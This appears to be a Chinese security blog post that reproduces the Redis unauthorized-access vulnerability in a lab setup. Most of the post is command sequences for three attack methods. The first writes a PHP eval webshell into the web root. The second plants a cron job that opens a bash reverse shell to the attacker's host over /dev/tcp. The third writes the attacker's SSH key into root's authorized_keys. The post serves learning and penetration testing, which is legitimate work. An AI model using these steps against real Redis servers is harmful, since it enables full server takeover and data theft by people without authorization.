漏洞复现 - - - 未授权访问漏洞Redis
目录
一,未授权访问漏洞概述
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
二,常见的未授权访问漏洞
1.MongoDB 未授权访问漏洞
2.Redis 未授权访问漏洞
3.Memcached 未授权访问漏洞CVE-2013-7239
4.JBOSS 未授权访问漏洞
5.VNC 未授权访问漏洞
6.Docker 未授权访问漏洞
7.ZooKeeper 未授权访问漏洞
8.Rsync 未授权访问漏洞
9.Elasticsearch 未授权访问漏洞10.Hadoop 未授权访问漏洞11.Jupyter Notebook 未授权访问漏洞
Redis历史漏洞
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
三,Redis未授权访问
漏洞信息
Redis 简介
Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。Redis 支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载到内存使用。Redis 不仅支持简单的 key-value 类型的数据,同时还提供 list,set,zset,hash 等数据结构的存储。Redis 支持主从复制,即 master-slave 模式的数据备份。
四,环境搭建
漏洞环境搭建
docker pull medicean/vulapps:r_redis_1docker run -dit -p 6379:6379 -p 2222:22 medicean/vulapps:r_redis_1
五,漏洞利用方法
实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100
本次实验环境来源自合天网安实验室
方法一
通过redis数据备份功能,往WEB网站根目录写入一句话木马,利用shell 得到WEB网站权限
思路:得到了IP地址应该首先进行信息扫描
发现80端口是开放的
22端口:ssh远程登录
80端口:http网站服务
6379端口:redis服务
访问80端口发现仅是一个测试页面
python3 dirsearch.py -u 10.1.1.200 -e php //使用dirsearch工具对网页进行暴力扫描
发现1.php phpinfo.php存在信息泄露
访问一下phpinfo
目标机器存在6379即Redis服务,尝试一下看是否存在Redis未授权漏洞:
安装 redis-cli
apt install redis-tools //安装包管理器
wget http://download.redis.io/releases/redis-6.0.3.tar.gz //下载redis
tar -zxvf redis-6.0.3.tar.gz //解压
make //编译
redis-cli -h 10.1.1.200 -p 6379 //连接redis服务器
-h:指定连接的redis服务器
-p 指定6379端口
info打印信息 如版本目录信息
key * //列出当前数据库的所有键
config set dir /var/www/html //设置备份文件的放置路径
config set dbfilename shell.php //设置备份文件的文件名
set x "<?php @eval($_POST['test']);?> //x表示添加一个键,这个键的值为一句话木马
save //保存
使用中国蚁剑连接
连接成功,双击即可管理
方法二
通过定时任务反弹Shell
1.开启对4433端口的监听
nc -lvvp 4433
2.redis-cli连接
key *
del x //增加一个键X
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
//设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/.........config set dir /var/spool/cron //设置备份路径
config set dbfilename root //设置备份文件名
save //保存
3.查看监听返回数据
输入whoami查看用户,定时反弹shell成功
方法三
写SSH公钥,实现免密登录linux服务器
攻击者在未授权访问Redis的情况下可以利用Redis,运行 Redis的用户是 root 用户,攻击者将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,所以可以无需密码直接登录目标服务器。
1.写入ssh公钥
ssh-keygen -t rsa
2.将公钥写入txt文件,用\n换行,避免和Redis混合不好分辨
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt /查看txt文件
4.用redis-cli -h ip命令连接靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey //连接靶机传入文件
redis-ccli -h 10.1.1.200 -p 6379 //连接redis
config set dir /root/.ssh/ //设置备份文件路径
config set dbfilename "authorized_keys" //命名
save //保存
5.利用ssh远程连接目标机器 ,连接成功
ssh root@10.1.1.200 -i/root/.ssh/id_rsa //
更多推荐
所有评论(0)